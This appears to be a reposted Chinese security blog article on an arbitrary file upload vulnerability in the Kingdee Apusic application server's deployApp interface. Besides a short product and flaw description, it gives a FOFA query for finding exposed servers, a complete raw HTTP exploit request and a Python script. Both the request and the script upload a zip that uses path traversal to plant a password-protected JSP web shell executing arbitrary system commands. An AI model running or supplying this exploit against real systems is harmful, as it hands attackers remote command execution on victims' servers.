【漏洞介绍】金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]

【漏洞介绍】金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]
2023-12-19 13:55:54 Author: 利刃信安攻防实验室(查看原文) 阅读量:87 收藏

金蝶Apusic应用服务器deployApp接口任意文件上传漏洞复现 [附POC]

1. 产品介绍

金蝶 Apusic 是金蝶集团旗下的一款企业级应用服务器，专为企业提供可靠、高性能的应用运行环境。Apusic 支持 Java、.NET、Node.js 等多种开发语言和技术，可以用于构建各种企业级应用，如企业资源计划 (ERP) 系统、客户关系管理 (CRM) 系统、供应链管理系统等。

2.漏洞描述

金蝶 Apusic 应用服务器存在一个任意文件上传漏洞，攻击者可以通过构造恶意请求上传恶意文件到服务器，导致远程代码执行，危及服务器安全。

3.fofa查询语句

app="Apusic应用服务器"

4.漏洞复现

POC

POST /admin//protect/application/deployApp HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbdAccept-Encoding: gzip ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="appName" 111------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="deployInServer" false------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="clientFile"; filename="evil.zip"Content-Type: application/x-zip-compressed {{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a    if \x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29 \x7b\x0d\x0a        java.io.InputStream input = Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a        int len = -1;\x0d\x0a        byte[] bytes = new byte[4092];\x0d\x0a        while \x28\x28len = input.read\x28bytes\x29\x29 != -1\x29 \x7b\x0d\x0a            out.println\x28new String\x28bytes, \"GBK\"\x29\x29;\x0d\x0a        \x7d\x0d\x0a    \x7d\x0d\x0a%>PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00../../../../applications/default/public_html/shell2.jspPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00e\x00\x00\x00\xb9\x01\x00\x00\x00\x00")}}------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="archivePath"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="baseContext"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="startType" auto------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="loadon"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="virtualHost"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="allowHosts"  ------WebKitFormBoundaryd9acIBdVuqKWDJbdContent-Disposition: form-data; name="denyHosts"  ------WebKitFormBoundaryd9acIBdVuqKWDJbd--

python检测脚本

import requests def verify(ip):    url = f'{ip}/admin//protect/application/deployApp'     headers = {        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15',        'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryd9acIBdVuqKWDJbd',        'Accept - Encoding': 'gzip'    }     payload = '''    ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="appName"             111    ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="deployInServer"             false    ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="clientFile"; filename="evil.zip"    Content-Type: application/x-zip-compressed             {{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00../../../../applications/default/public_html/shell2.jsp<%\x0d\x0a    if \x28\"admin\".equals\x28request.getParameter\x28\"pwd\"\x29\x29\x29 \x7b\x0d\x0a        java.io.InputStream input = Runtime.getRuntime\x28\x29.exec\x28request.getParameter\x28\"cmd\"\x29\x29.getInputStream\x28\x29;\x0d\x0a        int len = -1;\x0d\x0a        byte[] bytes = new byte[4092];\x0d\x0a        while \x28\x28len = input.read\x28bytes\x29\x29 != -1\x29 \x7b\x0d\x0a            out.println\x28new String\x28bytes, \"GBK\"\x29\x29;\x0d\x0a        \x7d\x0d\x0a    \x7d\x0d\x0a%>PK\x01\x02\x14\x03\x14\x00\x00\x00\x00\x00\xe5y\x09Uk\x0a\xc8\xe7d\x01\x00\x00d\x01\x00\x007\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb4\x81\x00\x00\x00\x00../../../../applications/default/public_html/shell2.jspPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00e\x00\x00\x00\xb9\x01\x00\x00\x00\x00")}}    ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="archivePath"             ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="baseContext"               ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="startType"             auto    ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="loadon"        ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="virtualHost"               ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="allowHosts"         ------WebKitFormBoundaryd9acIBdVuqKWDJbd    Content-Disposition: form-data; name="denyHosts"          ------WebKitFormBoundaryd9acIBdVuqKWDJbd--    '''     try:        response = requests.post(url, headers=headers, data=payload)        # 验证成功输出相关信息        if response.status_code == 200:            print(f"{ip}存在金蝶 Apusic 应用服务器任意文件上传漏洞！！！")    except Exception as e:        pass if __name__ == '__main__':    self = input('请输入目标主机IP地址：')    verify(self)

————————————————

原文链接：

https://blog.csdn.net/qq_56698744/article/details/134872024

文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247508937&idx=1&sn=62842c73a5804c19333bf2b9bec5f945&chksm=fa4f9def64f4f5ff68d5e9fa7577b92183f569fc4e701f9ffa7c384b0746203ec6fbc2702df5&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh